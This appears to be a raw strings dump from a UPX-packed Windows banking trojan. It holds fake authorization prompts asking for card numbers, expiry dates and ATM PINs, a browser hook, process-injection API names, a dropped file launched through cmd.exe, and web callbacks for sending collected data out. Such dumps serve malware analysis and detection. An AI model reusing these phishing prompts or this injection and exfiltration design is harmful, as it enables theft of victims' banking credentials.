"C:\WINDOWS\system32" "KKQHOOK_28" "Software\Microsoft\Windows" "ofstkkq" "ofstkkqc" "FindNextFileA" "Process32Next" "kernel32.dll" "ntdll.dll" "advapi32.dll" "iphlpapi.dll" "inetmib1.dll" "wsock32.dll" "user32.dll" "RtlInitUnicodeString" "NtUnmapViewOfSection" "NtOpenSection" "NtMapViewOfSection" "RtlNtStatusToDosError" "CURRENT_USER" "wcscmp" "htons" "VirtualProtect" "GetCurrentProcessId" "FindWindowA" "SendMessageA" "IsBadReadPtr" "GlobalFindAtomA" "GlobalFindAtomW" ".text" "Ocndfb32" "jklmno" "Ay&" "’’ˆë»" "KERNEL32.DLL" "" "(p" "_LibMain@12" "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $" "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $" "c:\boot.sys" "Unable to authorize" "Unable to authorize - INCORRECT PIN. Please, correct." "%s-%s" "Please, select Expiration Year" "%s %s" "Please, select Expiration Month" "%s" "V" "K" "RegisterServiceProcess" "kernel32.dll" "\boot.sys" "datkkq32.dll" "dnkkq.dll" "kkq32.dll" "%s\%s" "enabledsf" "\drivers\ndisrd.sys" "newver" "xd2" "wupd " ":%02u" "?dmp=2" "%s\%s.tmp" "wpst " "q" "?ifc=%u" "ifc" "Software\Microsoft\Windows" "/w.php" "/" "http://%s" "%s\%s.dat" "Click Once To Continue" "BUTTON" "EDIT" "Please make corrections and try again." "Unable to authorize. ATM PIN-Code is required to complete the tra" "ATM PIN-Code" "Expiration date" "Your card number" "20%.2u" "%.2u" "COMBOBOX" "" "STATIC" "KKQHOOK" "Explorer" "DocObject" "\cmd.exe /C start c:\boot.sys" "\kernel32.dll" ".google.adware" ".google." ":" " %X:" "|" " " " " "Microsoft Internet Explorer" " " "